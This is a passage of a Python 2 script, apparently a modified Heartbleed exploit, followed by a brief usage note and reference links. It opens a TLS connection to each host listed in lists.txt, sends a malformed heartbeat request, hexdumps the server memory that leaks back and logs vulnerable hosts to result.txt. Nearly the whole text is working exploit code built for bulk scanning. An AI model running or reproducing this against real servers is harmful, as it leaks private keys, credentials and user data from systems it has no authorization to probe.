   port = data[1]  
   return ip, port  
   
 def h2bin(x):  
   return x.replace(' ', '').replace('\n', '').decode('hex')  
    
 hello = h2bin('''  
 16 03 02 00 dc 01 00 00 d8 03 02 53  
 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf  
 bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00  
 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88  
 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c  
 c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09  
 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44  
 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c  
 c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11  
 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04  
 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19  
 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08  
 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13  
 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00  
 00 0f 00 01 01                   
 ''')  
    
 hb = h2bin('''   
 18 03 02 00 03  
 01 40 00  
 ''')  
    
 def hexdump(s):  
   for b in xrange(0, len(s), 16):  
     lin = [c for c in s[b : b + 16]]  
     hxdat = ' '.join('%02X' % ord(c) for c in lin)  
     pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)  
     print ' %04x: %-48s %s' % (b, hxdat, pdat)  
   print  
    
 def recvall(s, length, timeout=5):  
   endtime = time.time() + timeout  
   rdata = ''  
   remain = length  
   while remain > 0:  
     rtime = endtime - time.time()   
     if rtime < 0:  
       return None  
     r, w, e = select.select([s], [], [], 5)  
     if s in r:  
       data = s.recv(remain)  
       # EOF?  
       if not data:  
         return None  
       rdata += data  
       remain -= len(data)  
   return rdata  
        
    
 def recvmsg(s):  
   hdr = recvall(s, 5)  
   if hdr is None:  
     print 'Unexpected EOF receiving record header - server closed connection'  
     return None, None, None  
   typ, ver, ln = struct.unpack('>BHH', hdr)  
   pay = recvall(s, ln, 10)  
   if pay is None:  
     print 'Unexpected EOF receiving record payload - server closed connection'  
     return None, None, None  
   print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))  
   return typ, ver, pay  
    
 def hit_hb(s, ip, port):  
   s.send(hb)  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ is None:  
       print 'No heartbeat response received, server likely not vulnerable'  
       return False  
    
     if typ == 24:  
       print 'Received heartbeat response:'  
       hexdump(pay)  
       if len(pay) > 3:  
         print 'ip: %s, port: %s' % (ip, port)  
         fp = open('result.txt', 'a')  
         fp.write('%s:%s' % (ip, port))  
         fp.close()  
         print 'WARNING: server returned more data than it should - server is vulnerable!'  
       else:  
         print 'Server processed malformed heartbeat, but did not return any extra data.'  
       return True  
    
     if typ == 21:  
       print 'Received alert:'  
       hexdump(pay)  
       print 'Server returned error, likely not vulnerable'  
       return False  
    
 def main(ip, port):  
   '''  
   opts, args = options.parse_args()  
   if len(args) < 1:  
     options.print_help()  
     return  
   '''  
   print ip, port  
     
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
   print 'Connecting...'  
   sys.stdout.flush()  
   s.connect((ip, int(port)))  
   print 'Sending Client Hello...'  
   sys.stdout.flush()  
   s.send(hello)  
   print 'Waiting for Server Hello...'  
   sys.stdout.flush()  
   while True:  
     typ, ver, pay = recvmsg(s)  
     if typ == None:  
       print 'Server closed connection without sending Server Hello.'  
       return  
     # Look for server hello done message.  
     if typ == 22 and ord(pay[0]) == 0x0E:  
       break  
   print 'Sending heartbeat request...'  
   sys.stdout.flush()  
   s.send(hb)  
   hit_hb(s, ip, port)  
     
     
 if __name__ == '__main__':  
   f = open("lists.txt", "r")  
   for i in f:  
     ip, port = ip_n_port(i)  
     try:  
       main(ip, port)  
     except:  
       print ('no connection')  
   f.close()  
   

The file(lists.txt) is loading IPs should be "ip:port".
e. g,
1111:443
2222:8443

Reference:
http://www.exploit-db.com/exploits/32745/
http://heartbleed.com/

Thanks.